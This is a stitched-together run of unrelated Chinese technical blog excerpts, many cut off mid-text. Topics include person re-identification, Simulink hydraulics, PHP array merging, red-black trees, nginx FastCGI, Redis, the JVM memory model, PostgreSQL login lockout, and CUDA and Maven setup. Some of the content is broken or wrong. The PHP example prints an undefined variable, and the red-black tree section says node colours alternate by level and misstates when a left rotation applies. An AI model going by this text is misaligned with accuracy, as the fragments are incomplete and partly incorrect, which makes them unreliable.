并不是人的照片中的所有特征都有利于行人的再识别。(a)遮挡,(b)复杂背景,©显著特征。人的不同特征对人的再识别有不同的贡献。©中红色框架的特征的重要性明显大于其他特征。 4、Feature Refinement and Filter Network方法流程 研究者主要从三个方面解决行人再识别问题。首先,通过弱化高响应区特征,模型可以关注更有用的特征,实现完整的行人特征的提取,增强模型的鲁棒性; 其次,在得到完整特征的基础上,进一步定位人的高响应特征,消除了背景信息的干扰,提高了特征的泛化能力;最后,通过多分支注意网络选择有价值的细粒度特征用于人的再识别,从而提高模型的性能。如图2所示,方法主要包括全局特征增强网络、多注意力网络和注意力多样性损失。 图2. Feature refinement and filter network方法框架 **4.1、弱化显著性特征** 研究者基于 Resnet 模块设计了弱化特征卷积模块, 如图 3 所示。一张图片 经过卷积模块得到特征图 其中H,W,C分别表示特征图的高,宽和通道数。通过一个类型通道注意力将特征图的通道降为 得到特征图的通道降为1,得到特征图 操作过程如下: 式中, 表示按位相乘,up_ sample 表示上采样操作。研究者通过减弱特征图 A 中高响应的区域,迫使网络关注到除高响应对应区域外的其他区域的特征,让模型能够很好的关注到 输入图片中所有有用的特征,从而实现消除背景噪声等其他无用特征的干扰。具体地,设定 一个间值β,特征图 A 中的值超过这个间值的就算高响应区域。然后,引人一个弱化因子并规定弱化特征算子 M 如下: 最后,将卷积模块的输入I与弱化特征算子M按位相乘得到经过弱化的输入,这样原本高响应的区域便被减弱,其他区域得到加强使模型能够更多的关注除高响应区域以外的区域,达到挖掘输入图片中全部有用特征的目的。 图3. 弱化特征卷积模块 4.2、弱化因子 在上一节中,研究者提出弱化因子,是一个影响模型性能的关键参数。在文中研究者提出了一个弱化因子的取值方案。 图4. 不同的弱化因子和阈值对高响应区域的影响,(a)不同弱化因子对应的特征弱化效果;(b) 不同的阈值对应的高响应特征。 弱化因子θ表示特征的弱化程度。从图 5(a)可以看出, 当θ=0时,显著特征完全减弱, 特征喊弱程度最大。当 θ=1 时,相当于不对特征进行操作,弱化程度最小。当 θ 在区间(0,1) 取一个值时,会有不同程度的弱化。从图 5 (b) 可以明显看出,高响应区域的大小随间值 的变化而变化。当高响应区域较大,弱化因子 θ 较小时,在这种情况下,高响应特征将被完 全覆盖,并且不会有任何有用的特征可用于模型识别。相反,当高响应区域很小,并且被完 全覆盖时,这将迫使模型将重点放在其他有价值区域进行人识别,这更有利于获得全面的行 人特征。因此,弱化因子 应与高响应特征的大小是负相关的关系。因此研究者将弱化因 子定义为θ=1-δ 其中δ为高响应区域在整个特征图 A 中所占比例。 4.

matlab液压仿真实例,基于MATLAB-simulink的液压系统动态仿真.pptx

基于Simulink的液压系统动态仿真 汇报人:xxx 目录 一、阀控液压缸系统简介 二、仿真实例 一、阀控液压系统缸简介 液压动力元件可以分为四种基本形式:阀控液压缸、阀控液压马达、泵控液压缸和泵控液压马达。四种液压动力元件虽然结果不同,但其特性是类似的。 阀控液压缸系统是工程上应用较广泛的传动和动力系统。由于阀控对称液压缸系统比阀控非对称液压缸系统具有更好的控制特性,因此,在实际生产中得到了广泛的应用,但是对称液压缸加工难度大,滑动摩擦阻力较大,需要的运行空间也大,而非对称液压缸构造简单,制造容易。 工作原理 如图1所示,四通滑阀控制液压缸拖动带有弹性和粘性阻尼的负载作往复运动。其中,假定供油压力Ps恒定,回油压力P0近似为零。 四通阀控制对称液压缸是液压系统中一种常用的液压动力元件 图1 四通阀控制对称液压缸原理图 图2 常见四通阀图片 1、Simulink简介 可实现动态系统建模、仿真、分析等。广泛应用于线性系统、非线性系统、数字控制及数字信号处理的建模和仿真中。 采用方块图结构图形对接,跟用笔和纸来画一样容易,与传统仿真软件相比,更直观、方便、灵活。 可从上到下、左到右创建模型,可以编辑子系统,随意性较高 二、仿真 2、案例 设计一个结构物的疲劳试验机,已知:结构物刚度K=2.55×106N/m,结构物质量m=18 k g;要 求 最 大加载力Fmax=5×103N,设计时系统的油源压力取:Ps=10×106 Pa 。 滑阀流量方程: 液压缸流量连续性方程: 液压缸和负载的力平衡方程: 三个基本方程经过拉氏变换得: 图2 阀控液压缸的方块图 建立simulink仿真模型 图3 液压系统仿真模型 为了便于模拟,对模型各个参数进行初始化。其中Step模块为系统提供一个阶跃信号,与阀芯位移有关。 表1 仿真参数 (取样时间T=1s) 图4 系统压力P/Pa 可以看出系统的压力与液压缸的输出力从0逐渐上升,在t=0.5s时,系统达到稳定状态,此时系统压力为 P=7.41×106 Pa,液压缸的输出力为F=5000 N,符合预期设计要求 图5 油缸输出力F/N 仿真结果 由仿真结果图得出: 图6 活塞杆位移Xp/m 可以看出开始时,活塞杆的位移很快达到2.8 mm且有振荡,随后在系统达到稳定状态的过程中,活塞杆的位移逐渐减小到0,这表明活塞杆只在结构物破坏的一瞬间有位移,其他时间活塞杆只输出力而没有位移 谢谢大家!

php 合并两个数组并去重,合并两个数组 以KEY 作为键

$a= array( array( 'ID'=> 2 ) ); $b= array( array( 'ID'=> 5656 ) ); print_r($r); //合并两个数组 以ID值 作为键 function mergeById(&$arr1,&$arr2, $key='ID') { $arr = array(); foreach($arr1 as $v) { $arr[$v[$key]] = $v; } foreach($arr2 as $v){ $arr[$v[$key]] = isset($arr[$v[$key]])? $arr[$v[$key]]+$v : $v; } return $arr; } print_r(mergeById($a,$b,'ID')); Array ( [2] => Array ( [ID] => 2 ) [5656] => Array ( [ID] => 5656 ) ) ?> JS合并两个数组的方法 JS合并两个数组的方法 我们在项目过程中,有时候会遇到需要将两个数组合并成为一个的情况.

index.php代码,index.php

//版权所有(C) 2014 www.ilinei.com define('DEBUG', true); //加载启动文件 require_once './source/boot.php'; //检查是否安装 if(!$config['installed']){ header('location:_install/install.php'); exit(0); } try{ //全局皮肤变量 $THEME = $setting['SiteTheme'].'/{$THEME}'; //需要什么就创建,自动加载 $_setting = new \admin\model\_setting(); //检查IP if($_setting->check_limit_ip()) throw new Exception($GLOBALS['lang']['error.ip.limit']); if($_setting->check_closed()) throw new Exception($setting['SiteClosedReason']); //获取调度 $runtime = new \ilinei\runtime(); $dispatches = $runtime->dispatch(); //以模板文件夹作为模块 $dispatches['module'] != 'misc' && $dispatches['module'] = strtr($setting['SiteTheme'], '/', '\\'); //如果模板站,直接显示 if($dispatches['page']){ //默认打开数据库 $db->connect(); //创建解析器,就用我们团队名啦。 $_ilinei = new \admin\model\_ilinei(); $pages = $_ilinei->load($dispatches['module']); !$pages[$dispatches['page']] && $dispatches['page'] = 'index'; include_once view("/{$dispatches[module]}/page/{$dispatches[page]}");

红黑树详解

一、在理解红黑树之前,先看一些二叉查找树 二叉查找树特性: 左字数上所有的节点的值都小于或等于他的根节点上的右子树上所有节点的值均大于或等于他的根节点的值左、右子树也跟别为平衡二叉树 举个二叉树的例子: 可以看到如果要查询10的话,10>9 因此到他的右子树,右子树根节点为13,10<13 因此到其左子树,左子树根节点为11>10 到其左子树,为10,找到相应的节点 不过二叉查找树有一些问题,可能会出现不平横的情况,即如下图所示的情况 从这种情况可以看出,明显存在左子树和右子树深度相差过多,在使用平衡情况下的二叉查找树是时间复杂度为logn,而出现这种极端情况的话,想要查9的位置就需要每一次都遍历下一个右子树,很有可能时间复杂度变为n(与数组普通查询的时间复杂度相同) 基于上述情况,引入了平衡二叉树,红黑树即为平衡二叉树的一种 二、红黑树 特性: 节点是红色或黑色 根节点一定是黑色 每个叶节点都是黑色的空节点(NIL节点) 每个红节点的两个子节点都是黑色的(从每个叶子到跟的所有路径上不能有两个连续的红节点)(即对于层来说除了NIL节点,红黑节点是交替的,第一层是黑节点那么其下一层肯定都是红节点,反之一样) 从任一节点到其每个叶子节点的所有路径都包含相同数目的黑色节点 正是由于这些原因使得红黑树是一个平衡二叉树 红黑树的例子 向红黑树中插入节点14(一般默认插入节点是红色的) 在原树上插入20 可以看到,插入以后树已经不是一个平衡的二叉树,而且并不满足红黑树的要求,因为20和21均为红色,这种情况下就需要对红黑树进行变色,21需要变为黑色,22就会变成红色,如果22变成红色,则需要17和25都变成黑色 而17变成黑色显然是不成立的,因为如果17变为黑色,那么13就会变为红色,不满足二叉树的规则,因此此处需要进行另一个操作---------左旋操作 左旋:下图就是一个左旋的例子,一般情况下,如果左子树深度过深,那么便需要进行左旋操作以保证左右子树深度差变小 对于上图由于右子树中17变为黑色以后需要把13变成红色,因此进行一次左旋,将17放在根节点,这样既可保证13为红色,左旋后结果 而后根据红黑树的要求进行颜色的修改 进行左旋后,发现从根节点17,到1左子树的叶子节点经过了两个黑节点,而到6的左叶子节点或者右叶子节点要经历3个黑节点,很显然也不满足红黑树,因此还需要进行下一步操作,需要进行右旋操作 右旋:与左旋正好相反 由于是从13节点出现的不平衡,因此对13节点进行右旋,得到结果 而后再对其节点进行变色,得到结果 这便是红黑树的一个变换,它主要用途有很多,例如java中的TreeMap以及JDK1.8以后的HashMap在当个节点中链表长度大于8时都会用到。

fastcgi怎么解析php,在nginx上用FastCGI解析PHP

在nginx上用FastCGI解析PHP nginx配置文件: Nginx 默认使用 include enable-php.conf; 通过enable-php.conf 来解析PHP,该文件内容如下: location ~ [^/].php(/|$) { try_files $uri =404; fastcgi_pass unix:/tmp/php-cgi.sock; fastcgi_index index.php; include fastcgi.conf; } 而我们使用nginx自然要使用fastCGI来跑PHP,Nginx之所以并发高跟fastCGI脱不开关系,有自动管理php-cgi进程的能力,总之就是它很屌,使用Nginx不用fastCGI的话就好像抽烟不点火。 因此我们看到 Nginx的配置文件中有 :include enable-php.conf; 这行代码的话,有两种方法 1、请自觉在前面加个#注释掉~ 然后添加一个类似的location,下面是例子 location ~ [^/].php(/|$) { try_files $uri =404; fastcgi_pass 127.0.0.1:9000; # fastcgi_pass unix:/tmp/php-cgi.sock; fastcgi_index index.php; include /usr/local/nginx/conf/fastcgi.conf; fastcgi_split_path_info ^((?U).+.php)(/?.+)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; #该参数正常情况下应打开,如果报错access deny 且常规方法无法解决时 请注释掉 include /usr/local/nginx/conf/fastcgi_params; } 2、第二种解决方式,仍然引用enable-php.conf文件,但是需要修改此文件 [root@ACA83229 conf]# cat /usr/local/nginx/conf/enable-php.conf

Spring Boot整合Redis以及Redis的原理

Redis的原理及知识 Redis简介 redis是一个key-value。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。(来自百度百科) Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets)与范围查询, bitmaps, hyperloglogs和 地理空间(geospatial)索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions)和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。(来自redis中文官方网站) 这里贴上redis中文网地址 http://www.redis.cn/,很好的一个redis学习网站。 Redis特点 Redis将其数据库完全保存在内存中,仅使用磁盘进行持久化。与其它键值数据存储相比,Redis有一组相对丰富的数据类型。Redis可以将数据复制到任意数量的从机中。 Redis优点 异常快 - Redis非常快,每秒可执行大约110000次的设置(SET)操作,每秒大约可执行81000次的读取/获取(GET)操作。支持丰富的数据类型 - Redis支持开发人员常用的大多数数据类型,例如列表,集合,排序集和散列等等。这使得Redis很容易被用来解决各种问题,因为我们知道哪些问题可以更好使用地哪些数据类型来处理解决。操作具有原子性 - 所有Redis操作都是原子操作,这确保如果两个客户端并发访问,Redis服务器能接收更新的值。多实用工具 - Redis是一个多实用工具,可用于多种用例,如:缓存,消息队列(Redis本地支持发布/订阅),应用程序中的任何短期数据,例如,web应用程序中的会话,网页命中计数等。 Redis安装 因为电脑是Windows系统,这里就介绍一下Windows系统下的安装。linux系统下的安装请另行百度。redis在Windows下的安装十分简单。 下载redis:Redis 没有官方的Windows版本,但是微软开源技术团队(Microsoft Open Tech group)开发和维护着这个 Win64 的版本。所以可以在这里下载releases版本的。网址:https://github.com/MicrosoftArchive/redis/releases。 解压出来的目录: 启动redis:在这个目录下cmd,然后直接redis-server.exe redis.windows.conf,即可启动redis 。 修改密码:在使用之前,先修改一下redis的密码。在先前那个解压目录下,打开redis-cli.exe。 (1)输入config get requirepass可查看当前密码,这里是我已经改过密码之后的。 (2)然后输入 config set requirepass “yourpassword” 可修改redis的密码。 连接redis:这里我是使用的RedisDesktopManager进行连接,这个是一个可视化管理redis的界面工具,下载windows版本的就行,下载网址:https://redisdesktop.com/download 然后在这个工具里可使用redis基本操作,这里有一些我已经添加进去的数据: Spring Boot集成Redis过程 1.

JVM内存模型详解

JVM内存结构图(JDK1.6) 多线程共享内存区域: 方法区、堆每一个线程独享内存: java栈、本地方法栈、程序计数器 程序计数器:较小的内存空间,当前线程执行的字节码的行号指示器;各线程之间独立存储,互不影响; java 栈:线程私有,生命周期和线程,每个方法在执行的同时都会创建一个 栈帧用于存储局部变量表,操作数栈,动态链接,方法出口等信息。方法的执行就对应着栈帧在虚拟机栈中入栈和出栈的过程;栈里面存放着各种基本数据类型和对象的引用; 本地方法栈:本地方法栈保存的是native方法的信息,当一个JVM创建的线程调用native方法后,JVM不再为其在虚拟机栈中创建栈帧,JVM只是简单地动态链接并直接调用native方法; 堆:Java堆是程序员需要重点关注的一块区域,因为涉及到内存的分配(new关键字,反射等)与回收(回收算法,收集器等); 方法区:也叫永久区,用于存储已经被虚拟机加载的类信息,常量(“zdy”,"123"等),静态变量(static变量)等数据。(jdk1.8已经将方法区去掉了,将方法区移动到直接内存) 运行时常量池: 运行时常量池是方法区的一部分,用于存放编译期生成的各种字面(“zdy”,"123"等)和符号引用。 直接内存:不是虚拟机运行时数据区的一部分,也不是java虚拟机规范中定义的内存区域; 1)如果使用了NIO,这块区域会被频繁使用,在java堆内可以用directByteBuffer对象直接引用并操作; 2) 这块内存不受java堆大小限制,但受本机总内存的限制,可以通过MaxDirectMemorySize来设置(默认与堆内存最大值一样),所以也会出现OOM异常; JVM内存中按照线程共享和线程私有划分结构图(JDK1.6) 堆和栈的区别 堆和栈功能上的区别: 以栈帧的方式存储方法调用的过程,并存储方法调用过程中,基本数据类型的变量(int、short、long、byte、float、double、boolean、char等)以及对象的引用变量,其内存分配在栈上,变量出了作用域就会自动释放; 而堆内存用来存储Java中的对象。无论是成员变量,局部变量,还是类变量,它们指向的对象都存储在堆内存中; 堆和栈在线程共享和线程私有区别: 栈内存归属于单个线程,每个线程都会有一个栈内存,其存储的变量只能在其所属线程中可见,即栈内存可以理解成线程的私有内存。 堆内存中的对象对所有线程可见。堆内存中的对象可以被所有线程访问。 空间大小: 栈的内存要远远小于堆内存,栈的深度是有限制的,如果递归没有及时跳出,很可能发生StackOverFlowError问题。 你可以通过-Xss选项设置栈内存的大小(这个参数是设定单个线程的栈空间)。-Xms选项可以设置堆的开始时的大小,-Xmx选项可以设置堆的最大值 JVM内存运行时结构图 每一个线程独享的内存区域有:程序计数器、java栈、本地方法栈 线程共享区域:堆内存、方法区(JDK1.8已经去掉了方法区) 线程安全本质: 线程安全本质是由于多个线程对同一个堆内存中的Count变量操作的时候,每一个线程会在线程内部创建这个堆内存Count变量的副本,线程内所有的操作都是对这个Count副本进行操作。这时如果其他线程操作这个堆内存Count变量,改变了Count值对这个线程是不可见的。当前线程操作完Count变量将值从副本空间写到主内存(堆内存)的时候就会覆盖其他线程操作Count变量的结果,引发线程不安全问题。 JDK1.6,JDK1.7,JDK1.8不同版本JVM内存模型区别: 相对于jdk1.6,jDK1.7将运行时常量池从方法区移除到堆内存。 相对于JDK1.6,JDK1.8直接 将方法区去掉,在本地内存中新增 元数据空间。运行时常量池仍然在堆中。元数据区存放类加载信息。 JDK1.8为什么要移除方法区: 1)永久代来存储类信息、常量、静态变量等数据不是个好主意, 很容易遇到内存溢出的问题.JDK8的实现中将类的元数据放入 native memory, 将字符串池和类的静态变量放入java堆中. 可以使用MaxMetaspaceSize对元数据区大小进行调整; 2)对永久代进行调优是很困难的,同时将元空间与堆的垃圾回收进行了隔离,避免永久代引发的Full GC和OOM等问题; JVM内存参数设定: -Xms 初始堆内存大小 -Xmx 最大堆内存大小 -Xss 单个线程栈大小 -XX:NewSize 初始新生代堆大小 -XX:MaxNewSize 生代最大堆大小 -XX:PermSize 方法区初始大小(JDK1.7及以前) -XX:MaxPermSize 方法区最大大小(JDK1.7及以前) -XX:MetaspaceSize 元数据区初始值(JDK1.8) -XX:MaxMetaspaceSize 元数据区最大值(JDK1.8) 参数设置示例: jdk1.7 windows设置tomcat的catalina.bat

php 下载七牛文件上传,laravel下封装的七牛云图片上传下载方法

$fileName 文件名 $filePath 文件路径 我用的是七牛云私有空间,如果用公有空间也一样,只是不需要下载方法而已。<?php namespace App\Http\Controllers; use Qiniu\Auth; use Qiniu\Storage\BucketManager; use Qiniu\Storage\UploadManager; class QiniuApiController extends Controller { public $auth; public $bucket; public $uploadManager; public $backetManager; public function __construct() { $this->auth = new Auth(env('ACCESS_KEY'),env('SECRET_KEY')); $this->bucket = env('BUCKET'); $this->uploadManager = new UploadManager(); $this->backetManager = new BucketManager($this->auth); } /** * 上传文件到七牛云 * @param $fileName 文件名 * @param $filePath 文件路径 * @return mixed * @throws \Exception */ public function uploadFile($fileName,$filePath) { $token = $this->auth->uploadToken($this->bucket);

Matlab read用法,[转载]Matlab textread函数详解

实际应用中经常要读取txt文件,这个时候就需要用到强大的textread函数。 它的基本语法是: [A,B,C,...] = textread(filename,format) [A,B,C,...] = textread(filename,format,N) 其中filename就是文件名, format就是要读取的格式,A,B,C就是从文件中读取到的数据。 中括号里面变量的个数必须和format中定义的个数相同。 如果每N行相同格式的数据,可采用[A,B,C,...] = textread(filename,format,N)的语法,读取N次。 举例如下: 例子1:myfile.txt 中的内容如下: 1 2 3 4 5 6 7 8 9 10 11 12 相应的语句为: filename = '.myfile.txt'; [data1,data2,data3,data4]=textread(filename,'%n%n%n%n'); 或者为filename = '.myfile.txt'; [data1,data2,data3,data4]=textread(filename,'%n%n%n%n',3); 例子2:myfile.txt 中的内容如下: 1, 2, 3, 4 5, 6, 7, 8 9, 10, 11, 12 相应的语句为: filename = '.myfile.txt'; [data1,data2,data3,data4]=textread(filename,'%n%n%n%n','delimiter', ','); 这里delimiter指出分隔符,读数据的时候会自动跳过分隔符。 例子3:myfile.txt 中的内容如下: % this a comment 1, 2, 3, 4

网站php应用现状,PHP开发框架的现状和展望

作者:shirly 引言:随着Ruby on Rails的火爆,PHP这个流行的Web应用脚本语言也出现了大量的新一代开发框架。与此同时,国内PHP开发者也开始紧跟国外发展,推出了不同的开发框架。Rails最强大的功能就是活动记录。使用它可以很方便地映射数据表,而且还可以描述表之间的相互关系. Ruby on Rails催生变革 在RoR流行之前,PHP领域也有不少开发框架,例如Mojavi、WACT、PHPMvc和Seagull等。这些框架虽然也采用了MVC模式、数据库抽象层等技术。但由于当时PHP本身不像现在这样流行,所以这些框架都没有得到大量应用,最终归于沉寂。 而在感受到RoR提供的快速开发能力后,PHP社区像被注入了兴奋剂。各种应用技术和开发框架层出不穷。 新一代框架的诞生 PHP社区在被RoR震晕后,没有陷入过多的争论。而是立即行动起来,开始了新一代框架的设计。首先出现的第一批框架几乎都是RoR的克隆。例 如PHP on Trax(连名字都借鉴Ruby on Rails)和TaniPHP、Akelos等。这些框架最大的特点就是力求100%克隆RoR,不管是采用的架构、设计模式,还是使用方法。 这几个框架一开始确实吸引了开发者的注意,但随着开发者的深入了解,这些框架头上的光环逐步褪色。晦涩难懂的架构、糟糕的性能,以及太多的限制,让这些框架难以在实际项目中运用。 此时,许多PHP开发者认为可以借鉴RoR的设计思想,但不应照搬RoR的结构和实现。为此,一些同样推崇快速开发的框架开始在PHP社区出现。这些框架中,CakePHP和Symfony可谓佼佼者。 CakePHP CakePHP充满了RoR的影子,从ActiveRecord模式到视图的布局管理都和RoR非常相似。而且CakePHP一开始也尝试实现与?RoR一样的许多东西。但CakePHP的开发团队后来发现PHP语言和Ruby语言存在巨大区别,因此RoR中的许多设计即便能够在PHP中实现,但是缺乏实用价值的。 CakePHP在发展中逐步走出了RoR的阴影,开始探索更能发挥PHP语言本身优势的架构和实现。因此有一段时间CakePHP的API发生了剧烈的变化,以致其他开发者纷纷停下脚步处于观望状态。 但由于前期一些架构的不合理和对RoR太多的模仿,导致CakePHP的核心部分越来越难以理解,运行性能也不尽人意。而且CakePHP将一个庞大的数据库操作对象作为所有业务对象的基础。这虽然利于快速开发,但却导致对业务逻辑对象的测试非常困难。 CakePHP的Model类太复杂,超过1600行代码。这个类不但尝试实现?ActiveRecord模式,同时还尝试封装行数据集,甚至连数据库访问也包含在内。因此,?Model?类不但难以理解,而且根本无法进行单元测试。而开发者还要从?Model?类派生自己的类,并将领域逻辑实现为这些派生类的方法。 对于较小型的项目,CakePHP非常理想。出色的快速开发能力、丰富的API和详尽的文档都可以帮助开发者很快完成工作。但随着项目规模的增加,CakePHP的局限性也变得突出。 而FleaPHP则干脆完全抛弃Active Record,采用更适合脚本语言的Table Data Gateway模式来封装数据库操作。不但性能更好,而且使用上也更方面。同时仍然提供了对关联记录的自动化处理。 Symfony Symfony是一个非常成熟的框架,大量利用了已有的开源项目。Symfony使用Mojavi的核心代码实现了框架的MVC模式,利用?Propel作为数据库抽象层。Symfony不仅功能强大,而且对Ajax有全面的支持。加上官方网站提供的大量文档和教程,并拥有一个活跃的社区,因此受到许多开发者的欢迎。 Symfony最大的问题也在于使用了太多风格迥异的开源项目来组合成框架。由于Mojavi和Propel本身都相当复杂,因此Symfony的结构非常复杂,难以理解和学习。 symfony似乎要J2EE将struts+hibernate+spring这些东西融合在一起放在PHP里使用。symfony从一开始就要告诉全世界,PHP是可以做企业级大项目的,不是你们所想的过家家游戏. Symfony,是一个非常有活力的应用程序开发框架。但它也有一些显著的缺点: 1、使用了庞大的?Creole?和?Propel?作为数据源层。虽然实现了功能超强的数据库访问 功能和对象关系影射(真正的对象关系与关系式数据库之间的影射),但性能损失太大,代价高昂; 2、用?XML?文件配置数据库,YAML?文件配置应用程序,造成了项目的维护困难; 3.试图封装太多基础的东西,让框架应用看上去更面向对象(连$_GET、$_POST都封装) 不过对于希望选择一个框架作为企业内部系统基础架构的企业来说,Symfony的成熟度、丰富的文档和活跃的社区都是值得考虑的。毕竟企业内部系统更为看重的是稳定性和长期的支持。 商业利益与大道至简 看到PHP开发框架的潜在商业价值后,Zend.com联合IBM宣布将要推出一个真正能够发挥PHP优势的开发框架。一时间,这个消息在整个PHP社区引起了地震。大家都开始期盼这个具有“官方”背景的开发框架能够为PHP开发者指出一条正确的道路。 不过世事难测,就在Zend Framework团队公布几个代码片断后,立即就有开发者指出这些代码片段是不可能实现的。事实证明这些代码片段不过是美好的理想。限于PHP语言本身 的能力,Zend Framework最终没有实现当初承诺提供的类似RoR中ActiveRecord模式的实现品。 Zend Framework Zend Framework大量应用了PHP5中面向对象的新特征:接口、异常、抽象类、SPL等等。这些东西的应用让Zend Framework具有高度的模块化和灵活性。同时,因为严格遵循“针对接口编程”和“单一对象职责”等原则,让Zend Framework很有希望成为一个出色的企业应用开发框架。 但不幸的是Zend Framework直到今天,也没有做出更多的突破。在使用Zend Framework开发时,框架对应用程序自身最重要的领域逻辑分离没有提供任何帮助。如果希望开发出真正健壮的企业应用,仍然需要开发者做出相当的努 力,并且在Zend Framework之上建造自己的基础设施。 针对这点,批评者指出Zend Framework虽然大量应用PHP5的新特征,但却没有将这些相对于PHP4的优势转化为能够为开发者提供帮助的东西。 对于简单和小型的项目来说,Zend Framework不但不能提高开发效率。反而因为在框架中应用了大量面向对象设计和PHP5的新特征,对开发者提出了更高的要求,间接增加了项目的开发 成本。而对于较大的项目和企业应用,Zend Framework倒是一个不错的基础。但要创建一个成功的应用,仍然需要付出不小的努力。并且要时刻注意Zend Framewok的性能问题。 Code Igniter Code Igniter可以说是一匹黑马。Code Igniter出现之时正是Symfony和CakePHP大行其道、Zend Framework万众期待的时刻。可凭借着独特的设计思想,Code Igniter吸引了大批开发者。这点从其火爆的官方论坛就可得到证实。

canvas绘制圆角矩形

效果图 代码实现 /** * * @param {*} x 起始x坐标 * @param {*} y 起始y坐标 * @param {*} width 矩形宽度 * @param {*} height 矩形高度 * @param {*} r 矩形圆角 * @param {*} bgcolor 矩形填充颜色 * @param {*} lineColor 矩形边框颜色 */ draw(ctx, x, y, width, height, r, bgcolor, lineColor) { ctx.beginPath(); ctx.moveTo(x + r, y); ctx.lineTo(x + width - r, y); ctx.arc(x + width - r, y + r, r, Math.

php curl 抓网页,网页抓取,curl_php用curl抓取网页问题,网页抓取,curl,php - phpStudy

php用curl抓取网页问题 封装了一个curl抓取网页的函数,在本地测没问题;放到测试服务器上后,如果通过浏览器访问 执行,大部分时候函数返回的HTTP状态码返回0,错误信息`Error:name lookup timed out`,极其偶像的情况下返回200成功;但如果直接在测试服务器上直接用命令行执行,100%成功。 代码如下: static public function curlGet($url, $data = array(), $header = array(), $timeout = 3, $port = 80) { $is_ssl = substr($url, 0, 5) == 'https' ? 1 : 0; $ch = curl_init(); if (!empty($data)) { $data = is_array($data)?http_build_query($data): $data; $url .= (strpos($url,'?')? '&': "?") . $data; } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); //是否抓取跳转后的页面 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);

PostgreSQL用户登录失败自动锁定的解决办法

墨墨导读:PostgreSQL使用session_exec插件实现用户密码验证失败几次后自动锁定,本文介绍一种处理方案。 一、插件session_exec安装配置篇 下载插件并编译安装。 https://github.com/okbob/session_exec $ unzip session_exec-master.zip $ cd session_exec-master/ $ make pg_config=/opt/pgsql/bin/pg_config $ make pg_config=/opt/pgsql/bin/pg_config install 配置postgresql.conf。 session_preload_libraries='session_exec' session_exec.login_name='login' 注意:上面第一个变量是设置session_preload_libraries而不是通常设置的shared_preload_libraries。 第二个变量是需要自定义实现的登录函数。 重启数据库服务。 $ sudo systemctl restart postgresql-12 二、自定义登录函数篇 创建t_login表用于存储提取自数据库日志中登录失败的信息。 create table t_login ( login_time timestamp(3) with time zone --插入时间, user_name text --数据库登录用户, flag int4 --标志位,0代表过期数据,1代表正常状态数据 ); 使用file_fdw外部表记录数据库日志信息。 file_fdw如果未配置过,参见下面步骤。 $ cd /opt/postgresql-12.5/contrib/file_fdw $ make && make install create extension file_fdw; CREATE SERVER pglog FOREIGN DATA WRAPPER file_fdw; 建立外部表postgres_log,关联数据库日志中登录失败的信息。 CREATE FOREIGN TABLE postgres_log( log_time timestamp(3) with time zone, user_name text, database_name text, process_id integer, connection_from text, session_id text, session_line_num bigint, command_tag text, session_start_time timestamp with time zone, virtual_transaction_id text, transaction_id bigint, error_severity text, sql_state_code text, message text, detail text, hint text, internal_query text, internal_query_pos integer, context text, query text, query_pos integer, location text, application_name text ) SERVER pglog OPTIONS ( program 'find /opt/pg_log_5432 -type f -name "

深度学习环境配置之CUDA,CUDN的安装

参考链接: cuda、cudn与python,Tensorflow对应版本 cuda安装教程 cuda下载链接 选择对应版本下载 cuda安装 默认安装就行 cudn下载cudn下载链接 选择与cuda以及与系统版本对应的版本下载 cudn安装 测试 import tensorflow as tf tf.test.gpu_device_name() 下图所示为安装成功 P.S. 第一次运行此代码会卡顿五分钟以上,等结束以后再次运行就不再卡顿 在同一台电脑上安装另外版本的cuda,,,参考链接

CentOS安装Maven并配置环境变量

环境CentOS7 一、安装Maven 官网下载 apache-maven-3.6.3-bin.tar.gz 1. 上传到服务器CentOS并解压到当前目录 tar -zxvf apache-maven-3.6.3-bin.tar.gz 2. 将解压出的文件剪切到/usr/local/目录下 mv apache-maven-3.6.3 /usr/local/ 3. 进入/usr/local/apache-maven-3.6.3/conf目录配置settings.xml文件 3.1 配置本地仓库 <!--配置本地仓库--> <localRepository>/usr/local/apache-maven-3.6.3/repository</localRepository> 3.2 配置阿里云下载源 https://developer.aliyun.com/mirror/ <mirror> <id>aliyunmaven</id> <mirrorOf>*</mirrorOf> <name>阿里云公共仓库</name> <url>https://maven.aliyun.com/repository/public</url> </mirror> 3.3 完整settings.xml文件 <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.

全排列详解优化(去重+字典序)

